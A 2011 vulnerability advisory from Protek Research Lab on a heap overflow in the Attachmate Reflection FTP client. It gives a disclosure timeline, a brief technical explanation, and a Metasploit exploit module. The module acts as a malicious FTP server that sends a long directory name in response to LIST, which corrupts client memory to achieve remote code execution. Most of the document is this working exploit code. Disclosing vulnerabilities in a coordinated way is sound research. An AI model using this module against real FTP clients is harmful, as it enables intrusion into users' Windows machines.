##################################################################################### Application: Attachmate Reflection FTP Client Heap Overflow Platforms: Windows Exploitation: Remote code execution CVE Number: {PRL}: 2011-09 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Timeline 3) Technical details 4) PoC ##################################################################################### =============== 1) Introduction =============== Attachmate Corporation is a software company owned by an investment group led by Francisco Partners, Golden Gate Capital, and Thoma Cressey Bravo. Attachmate focuses on terminal emulation, legacy modernization, managed file transfer, and enterprise fraud management software. Attachmate Corporation is a principal holding within The Attachmate Group. In addition to Attachmate Corporation, The Attachmate Group's other principal holdings include NetIQ, Novell, and SUSE. ##################################################################################### ============================ 2) Timeline ============================ 2011-09-26 - Vulnerability reported to vendor 2011-11-16 - Coordinated public release of advisory ##################################################################################### ============================ 3) Technical details ============================ The Reflection FTP client, didn't validate the maximum length of a directory when a LIST command is issuing. An overly long directory name can overflow the heap and corrupt memory. ##################################################################################### =========== 4) The Code =========== ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Attachmate Reflection FTP Client Heap Overflow (LIST)', 'Description' => %q{ This module exploits an heap buffer overflow in Attachmate Reflection FTP Client, triggered when processing the response on a LIST command. }, 'Author' => [ 'Francis Provencher', ], 'License' => MSF_LICENSE, 'Version' => "$Revision: 12196 $", 'References' => [ [ 'URL', 'http://www.protekresearchlab.com/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a", }, 'Platform' => 'win', 'Targets' => [ [ 'XP SP3 Universal', { 'Offset' => 300, } ], ], 'Privileged' => false, 'DisclosureDate' => 'November 16 2011', 'DefaultTarget' => 0)) end def setup super end def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end def on_client_command_list(c,arg) conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") code = 150 c.put("#{code} Here comes the directory listing.\r\n") code = 226 c.put("#{code} Directory send ok.\r\n") filename = "A" * 296 junk = "DCBA" buffer = filename + junk print_status(" - Sending directory list via data connection") dirlist = "-rw-rw-r-- 1 1176 1176 1060 sep 27 22:22 #{buffer}\r\n" conn.put(dirlist) conn.close print_status(" Movzx eax, byte ptr edx ds:0023:41424344 ...") return end end